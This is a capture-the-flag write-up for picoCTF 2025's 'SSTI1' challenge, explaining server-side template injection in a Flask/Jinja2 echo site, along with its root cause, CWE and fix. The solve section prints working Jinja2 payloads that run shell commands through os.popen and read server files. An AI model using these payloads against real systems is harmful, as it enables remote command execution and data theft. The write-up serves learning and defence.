// SSTI1
Web Exploitation · Easy · picoCTF 2025
// Summary
A website repeats back any message typed into it. It builds each page from a template1: a pre-written page with blanks the server2 fills in. The site placed the typed message into the template itself instead of into a blank, so the server treated the message as instructions to carry out. Typing a small sum confirmed it: the page answered 49 instead of repeating the text. The same opening was used to make the server list its own files and print the one named flag. Comparable to a mail-merge machine that, told to print a customer's name, obeys the name if the name is written as a command.
// Objective
Given: a web page that posts back ("announces") any message submitted.
Asked: the flag, format picoCTF{...}. Its location is not given.
Type: implied.
// Recon
Read the challenge description — It mentions templating.
Submit {{7*7}} — Page shows 49.
Submit the ls3 -la payload4 (Solve step 2) — Lists app.py, requirements.txt, flag.
// Deduction
- The description mentions templating and the input is reflected → the input may be rendered by a server-side template engine → test with a template expression.
{{7*7}}returns49, not the literal text → the server evaluates the input → SSTI5 confirmed.{{ }}syntax on a Python site → Jinja26 (Flask).- The flag is not in the page → it is a file on the server → code execution is needed to read files.
- Jinja2 blocks direct access to dangerous functions → start from an object the template exposes (
get_flashed_messages) and climb__globals__7→__builtins__→os8. - The flag's filename is unknown → list the directory before reading anything.
// Solve
- Submit
{{7*7}}
Result:49. - Submit:
Result: a directory listing that includes{{ get_flashed_messages.__globals__.__builtins__.__import__('os').popen('ls -la').read() }}flag. - Submit:
Result: the flag.{{ get_flashed_messages.__globals__.__builtins__.open('flag').read() }}
// Answer
Plain: the flag is the text inside a file stored on the website's own computer. The site was made to open that file and display it.
Technical: Jinja2 evaluates the submitted expression. Attribute traversal from get_flashed_messages.__globals__ reaches __builtins__, which exposes open(). open('flag').read() returns the contents of flag in the app's working directory9, and the template renders it into the response.
// Dead ends
Guessing the flag's filename in open() — open() reads only a file whose exact name is given. The name is found with ls, not guessed.
// Root cause
Flaw: user input is rendered as template code instead of being passed to the template as data.
CWE: CWE-1336, improper neutralization of special elements used in a template engine.
Fix: pass input as a template variable (render_template('page.html', msg=msg)), never concatenate it into the template string.
Real-world impact: any visitor can run commands on the server. That means reading stored data and passwords, changing the site, or taking over the machine.
// Transfer
- Input reflected on a page + "template" anywhere in the challenge → submit
{{7*7}}.49= SSTI. - Escalation chains are looked up, not derived: PayloadsAllTheThings → Server Side Template Injection → Python.md (Jinja2).
// Index
- 1TemplateA pre-written page with placeholders the server fills in for each visitor.
- 2ServerThe computer that runs the website and sends pages to visitors.
- 3
lsThe command that lists the files in a folder. - 4PayloadThe crafted input sent to trigger the flaw.
- 5SSTIServer-side template injection: getting the server to run text typed into a template as code.
- 6Jinja2 / FlaskJinja2 is a template engine for the Python language; Flask is a Python web framework that uses it.
- 7
__globals__,__builtins__Python's built-in lists of everything a function can reach, including functions to open files and import modules. - 8
os,popenPython's module for talking to the operating system;popenruns a shell command and returns its output. - 9Working directoryThe folder a program is running from.